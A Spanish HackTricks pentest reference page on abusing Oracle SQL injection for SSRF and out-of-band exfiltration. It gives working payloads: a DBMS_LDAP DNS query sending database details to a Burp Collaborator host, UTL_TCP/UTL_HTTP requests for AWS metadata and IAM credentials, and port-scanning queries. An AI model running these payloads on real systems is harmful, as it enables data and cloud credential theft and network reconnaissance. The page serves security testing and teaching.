# Inyección en Oracle
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## SSRF
Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA.
Instalar Oracle puede ser realmente doloroso, especialmente si quieres configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina AWS Ubuntu t2.large y Docker.
Ejecuté el comando docker con la bandera `--network="host"` para poder simular Oracle como una instalación nativa con acceso completo a la red, para el transcurso de este blogpost.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Puerto
Para encontrar paquetes y funciones que admitan una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
La búsqueda arrojó los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Esta búsqueda rudimentaria obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podría haber pasado por alto.
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.
**DBMS\_LDAP.INIT**
El paquete `DBMS_LDAP` permite el acceso a datos de servidores LDAP. La función `init()` inicia una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
Esta función se ha documentado anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usar esto como un escáner de puertos.
Aquí hay algunos ejemplos
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto.
**UTL_SMTP**
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Sin embargo, para nosotros, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
A continuación se muestra un ejemplo rudimentario con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
**UTL\_TCP**
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una vía de acceso a la red o realizar Solicitudes del Lado del Servidor completas, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo aún más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
**UTL\_HTTP y Solicitudes Web**
Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección SQL Oracle Fuera de Banda es el [paquete `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). La documentación define este paquete como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puede utilizarse para acceder a datos en Internet a través de HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Además, podrías utilizar esto para realizar un escaneo de puertos rudimentario con consultas como
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
Otro paquete que he utilizado en el pasado con éxito variable es el método [`GETCLOB()` del tipo abstracto de Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de datos CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).